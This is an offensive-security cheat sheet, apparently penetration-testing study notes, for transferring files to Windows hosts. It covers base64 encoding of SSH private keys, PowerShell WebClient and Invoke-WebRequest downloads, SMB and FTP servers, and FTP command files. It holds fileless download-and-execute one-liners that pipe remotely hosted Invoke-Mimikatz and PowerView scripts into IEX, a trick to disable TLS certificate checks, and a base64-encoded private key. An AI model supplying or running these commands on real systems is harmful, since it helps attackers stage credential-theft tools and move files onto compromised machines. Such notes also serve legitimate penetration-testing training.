🪟Windows File Transfer

PowerShell Base64 Encode & Decode

Bash Check SSH Key MD5 Hash

Code (Cash)

md5sum id_rsa

Bash Encode SSH Key to Base64

Code (Bash)

cat id_rsa |base64 -w 0;echo

PowerShell Decode SSH Key

Code (PowerShell)

[IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFBQUFBQkc1dmJtVUFBQUFFYm05dVpRQUFBQUFBQUFBQkFBQUFsd0FBQUFkemMyZ3RjbgpOaEFBQUFBd0VBQVFBQUFJRUF6WjE0dzV1NU9laHR5SUJQSkg3Tm9Yai84YXNHRUcxcHpJbmtiN2hIMldRVGpMQWRYZE9kCno3YjJtd0tiSW56VmtTM1BUR3ZseGhDVkRRUmpBYzloQ3k1Q0duWnlLM3U2TjQ3RFhURFY0YUtkcXl0UTFUQXZZUHQwWm8KVWh2bEo5YUgxclgzVHUxM2FRWUNQTVdMc2JOV2tLWFJzSk11dTJONkJoRHVmQThhc0FBQUlRRGJXa3p3MjFwTThBQUFBSApjM05vTFhKellRQUFBSUVBeloxNHc1dTVPZWh0eUlCUEpIN05vWGovOGFzR0VHMXB6SW5rYjdoSDJXUVRqTEFkWGRPZHo3CmIybXdLYkluelZrUzNQVEd2bHhoQ1ZEUVJqQWM5aEN5NUNHblp5SzN1Nk40N0RYVERWNGFLZHF5dFExVEF2WVB0MFpvVWgKdmxKOWFIMXJYM1R1MTNhUVlDUE1XTHNiTldrS1hSc0pNdXUyTjZCaER1ZkE4YXNBQUFBREFRQUJBQUFBZ0NjQ28zRHBVSwpFdCtmWTZjY21JelZhL2NEL1hwTlRsRFZlaktkWVFib0ZPUFc5SjBxaUVoOEpyQWlxeXVlQTNNd1hTWFN3d3BHMkpvOTNPCllVSnNxQXB4NlBxbFF6K3hKNjZEdzl5RWF1RTA5OXpodEtpK0pvMkttVzJzVENkbm92Y3BiK3Q3S2lPcHlwYndFZ0dJWVkKZW9VT2hENVJyY2s5Q3J2TlFBem9BeEFBQUFRUUNGKzBtTXJraklXL09lc3lJRC9JQzJNRGNuNTI0S2NORUZ0NUk5b0ZJMApDcmdYNmNoSlNiVWJsVXFqVEx4NmIyblNmSlVWS3pUMXRCVk1tWEZ4Vit0K0FBQUFRUURzbGZwMnJzVTdtaVMyQnhXWjBNCjY2OEhxblp1SWc3WjVLUnFrK1hqWkdqbHVJMkxjalRKZEd4Z0VBanhuZEJqa0F0MExlOFphbUt5blV2aGU3ekkzL0FBQUEKUVFEZWZPSVFNZnQ0R1NtaERreWJtbG1IQXRkMUdYVitOQTRGNXQ0UExZYzZOYWRIc0JTWDJWN0liaFA1cS9yVm5tVHJRZApaUkVJTW84NzRMUkJrY0FqUlZBQUFBRkhCc1lXbHVkR1Y0ZEVCamVXSmxjbk53WVdObEFRSURCQVVHCi0tLS0tRU5EIE9QRU5TU0ggUFJJVkFURSBLRVktLS0tLQo="))

Confirming the MD5 Hashes Match

Cpde (PowerShell)

Get-FileHash C:\Users\Public\id_rsa -Algorithm md5

PowerShell Web Downloads

System.Net.WebClient class

Method	Description
OpenRead	Returns the data from a resource as a Stream.
OpenReadAsync	Returns the data from a resource without blocking the calling thread.
DownloadData	Downloads data from a resource and returns a Byte array.
DownloadDataAsync	Downloads data from a resource and returns a Byte array without blocking the calling thread.
DownloadFile	Downloads data from a resource to a local file.
DownloadFileAsync	Downloads data from a resource to a local file without blocking the calling thread.
DownloadString	Downloads a String from a resource and returns a String.
DownloadStringAsync	Downloads a String from a resource without blocking the calling thread.

PowerShell DownloadFile Method

Code

(New-Object Net.WebClient).DownloadFile('<Target File URL>','<Output File Name>')

(New-Object Net.WebClient).DownloadFileAsync('<Target File URL>','<Output File Name>')

PowerShell DownloadString - Fileless Method

Code

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')

Code (pipeline input)

(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1') | IEX

PowerShell Invoke-WebRequest

Code

Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -OutFile PowerView.ps1

• You can use the aliases iwr, curl, and wget instead of the Invoke-WebRequest full name.

Reference

• https://gist.github.com/HarmJ0y/bb48307ffa663256e239

Bypass

UseBasicParsing

Code

Invoke-WebRequest https://<ip>/PowerView.ps1 -UseBasicParsing | IEX

Error Example

Invoke-WebRequest : The response content cannot be parsed because the Internet Explorer engine is not available, or Internet Explorer's first-launch configuration is not complete. Specify the UseBasicParsing parameter and try again.
At line:1 char:1
+ Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/P ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotImplemented: (:) [Invoke-WebRequest], NotSupportedException
+ FullyQualifiedErrorId : WebCmdletIEDomNotSupportedException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand

ServerCertificateValidationCallback

Code

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

Error Example

Exception calling "DownloadString" with "1" argument(s): "The underlying connection was closed: Could not establish trust
relationship for the SSL/TLS secure channel."
At line:1 char:1
+ IEX(New-Object Net.WebClient).DownloadString('https://raw.githubuserc ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : WebException

SMB Downloads

Create SMB Server

Code (Bash)

sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test

Mount the SMB Server with Username and Password

Code (Cmd)

net use n: \\192.168.220.133\share /user:test test

FTP Downloads

pyftpdlib Installation

Code (Bash)

sudo pip3 install pyftpdlib

Setting up a Python3 FTP Server

Code (Bash)

sudo python3 -m pyftpdlib --port 21

• Anonymous authentication is enabled by default.

• Default port is 2121.

Transfering Files from an FTP Server Using PowerShell

Code (PowerShell)

(New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'ftp-file.txt')

Create a Command File for the FTP Client

Code (Cmd)

echo open 192.168.49.128 > ftpcommand.txt

echo USER anonymous >> ftpcommand.txt

echo binary >> ftpcommand.txt

echo GET file.txt >> ftpcommand.txt

echo bye >> ftpcommand.txt

Download the Target File

Code (Cmd)

ftp -v -n -s:ftpcommand.txt

Example

ftp> open 192.168.49.128
Log in with USER and PASS first.
ftp> USER anonymous

ftp> GET file.txt
ftp> bye